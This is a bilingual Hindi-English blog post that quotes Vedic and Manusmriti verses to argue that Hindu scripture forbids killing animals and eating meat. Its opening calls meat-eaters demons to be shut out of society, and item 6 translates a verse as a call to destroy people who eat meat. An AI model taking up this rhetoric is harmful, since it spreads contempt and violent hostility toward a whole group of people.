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वैदिक साहित्य में मांस भक्षकों को अत्यंत तिरस्कृत किया गया है |

Jun 7 • Samaj and the Society • 1111 Views • No Comments

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वैदिक साहित्य में मांस भक्षकों को अत्यंत तिरस्कृत किया गया है | उन्हें राक्षस, पिशाच आदि की संज्ञा दी गई है जो दरिन्दे और हैवान माने गए हैं तथा जिन्हें सभ्य मानव समाज से बहिष्कृत समझा गया है |
1.
अनागोहत्या वै भीमा कृत्ये
मा नो गामश्वं पुरुषं वधीः — अथर्ववेद १०।१।२९
It is definitely a great sin to kill innocents. Do not kill our cows, horses and people.
How could there be justification of cow and other animals being killed when killing is so clearly prohibited in the Vedas?
निर्दोषों को मारना निश्चित ही महा पाप है | हमारे गाय, घोड़े और पुरुषों को मत मार | वेदों में गाय और अन्य पशुओं के वध का स्पष्टतया निषेध होते हुए, इसे वेदों के नाम पर कैसे उचित ठहराया जा सकता है?
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2.
अघ्न्या यजमानस्य पशून्पाहि — यजुर्वेद १।१
हे मनुष्यों ! पशु अघ्न्य हैं – कभी न मारने योग्य, पशुओं की रक्षा करो |
“O human! animals are Aghnya – not to be killed. Protect the animals”
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No violence against animals
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3.
यस्मिन्त्सर्वाणि भूतान्यात्मैवाभूद्विजानत:
तत्र को मोहः कः शोक एकत्वमनुपश्यत: — यजुर्वेद ४०। ७
“Those who see all beings as souls do not feel infatuation or anguish at their sight, for they experience oneness with them”.
How could people who believed in the doctrines of indestructibility, transmigration dare to kill living animals in yajnas? They might be seeing the souls of their own near and dear ones of bygone days residing in those living beings.
जो सभी भूतों में अपनी ही आत्मा को देखते हैं, उन्हें कहीं पर भी शोक या मोह नहीं रह जाता क्योंकि वे उनके साथ अपनेपन की अनुभूति करते हैं | जो आत्मा के नष्ट न होने में और पुनर्जन्म में विश्वास रखते हों, वे कैसे यज्ञों में पशुओं का वध करने की सोच भी सकते हैं ? वे तो अपने पिछले दिनों के प्रिय और निकटस्थ लोगों को उन जिन्दा प्राणियों में देखते हैं |
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4.
अनुमन्ता विशसिता निहन्ता क्रयविक्रयी
संस्कर्ता चोपहर्ता च खादकश्चेति घातकाः — मनुस्मृति ५।५१
Those who permit slaying of animals; those who bring animals for slaughter; those who slaughter; those who sell meat; those who purchase meat; those who prepare dish out of it; those who serve that meat and those who eat are all murderers.
मारने की आज्ञा देने वाला, पशु को मारने के लिए लेने वाला, बेचने वाला, पशु को मारने वाला,
मांस को खरीदने और बेचने वाला, मांस को पकाने वाला और मांस खाने वाला यह सभी हत्यारे हैं |
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5 .
ब्रीहिमत्तं यवमत्तमथो माषमथो तिलम्
एष वां भागो निहितो रत्नधेयाय दान्तौ मा हिंसिष्टं पितरं मातरं च
अथर्ववेद ६।१४०।२
O teeth! You eat rice, you eat barley, you gram and you eat sesame. These cereals are specifically meant for you. Do not kill those who are capable of being fathers and mothers.
हे दांतों की दोनों पंक्तियों ! चावल खाओ, जौ खाओ, उड़द खाओ और तिल खाओ |
यह अनाज तुम्हारे लिए ही बनाये गए हैं | उन्हें मत मारो जो माता – पिता बनने की योग्यता रखते हैं |
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6.
य आमं मांसमदन्ति पौरुषेयं च ये क्रविः
गर्भान् खादन्ति केशवास्तानितो नाशयामसि — अथर्ववेद ८। ६।२३
We ought to destroy those who eat cooked as well as uncooked meat, meat involving destruction of males and females, foetus and eggs.
वह लोग जो नर और मादा, भ्रूण और अंड़ों के नाश से उपलब्ध हुए मांस को कच्चा या पकाकर खातें हैं, हमें उन्हें नष्ट कर देना चाहिए |
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7.
अनागोहत्या वै भीमा कृत्ये
मा नो गामश्वं पुरुषं वधीः — अथर्ववेद १०।१।२९
It is definitely a great sin to kill innocents. Do not kill our cows, horses and people.
How could there be justification of cow and other animals being killed when killing is so clearly prohibited in the Vedas?

निर्दोषों को मारना निश्चित ही महा पाप है | हमारे गाय, घोड़े और पुरुषों को मत मार | वेदों में गाय और अन्य पशुओं के वध का स्पष्टतया निषेध होते हुए, इसे वेदों के नाम पर कैसे उचित ठहराया जा सकता है?
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8.
अघ्न्या यजमानस्य पशून्पाहि
यजुर्वेद १।१
“O human! animals are Aghnya – not to be killed. Protect the animals”
हे मनुष्यों ! पशु अघ्न्य हैं – कभी न मारने योग्य, पशुओं की रक्षा करो |
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9.
पशूंस्त्रायेथां — यजुर्वेद ६।११
Protect the animals.
पशुओं का पालन करो |
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10.
द्विपादव चतुष्पात् पाहि — यजुर्वेद १४।८
Protect the bipeds and quadrupeds!
हे मनुष्य ! दो पैर वाले की रक्षा कर और चार पैर वाले की भी रक्षा कर |
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11.
ऊर्जं नो धेहि द्विपदे चतुष्पदे — यजुर्वेद ११।८३
“May all bipeds and quadrupeds gain strength and nourishment”
This mantra is recited by Hindus before every meal. How could the same philosophy which prays for well-being of every soul in every moment of life, approve of killing animals?
सभी दो पाए और चौपाए प्राणियों को बल और पोषण प्राप्त हो | हिन्दुओं द्वारा भोजन ग्रहण करने से पूर्व बोले जाने वाले इस मंत्र में प्रत्येक जीव के लिए पोषण उपलब्ध होने की कामना की गई है | जो दर्शन प्रत्येक प्राणी के लिए जीवन के हर क्षण में कल्याण ही चाहता हो, वह पशुओं के वध को मान्यता कैसे देगा ?
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No violence in Yajna
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12.
अध्वर इति यज्ञानाम – ध्वरतिहिंसा कर्मा तत्प्रतिषेधः — निरुक्त २।७
According to Yaaska Acharya, one of the synonyms of Yajna in Nirukta or the Vedic philology is Adhvara.
Dhvara means an act with himsa or violence. And therefore a-dhvara means an act involving no himsa or no violence. There are a large number of such usage of Adhvara in the Vedas.
निरुक्त या वैदिक शब्द व्युत्पत्ति शास्त्र में यास्काचार्य के अनुसार यज्ञ का एक नाम अध्वर भी है | ध्वर का मतलब है हिंसा सहित किया गया कर्म, अतः अध्वर का अर्थ हिंसा रहित कर्म है | वेदों में अध्वर के ऐसे प्रयोग प्रचुरता से पाए जाते हैं |
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13.
अग्ने यं यज्ञमध्वरं विश्वत: परि भूरसि
स इद देवेषु गच्छति — ऋग्वेद १ ।१।४
O lord of effulgence! The non-violent Yajna, you prescribe from all sides, is beneficial for all, touches divine proportions and is accepted by noble souls.
हे दैदीप्यमान प्रभु ! आप के द्वारा व्याप्त हिंसा रहित यज्ञ सभी के लिए लाभप्रद दिव्य गुणों से युक्त है तथा विद्वान मनुष्यों द्वारा स्वीकार किया गया है |

अनिल विभ्रांत आर्य
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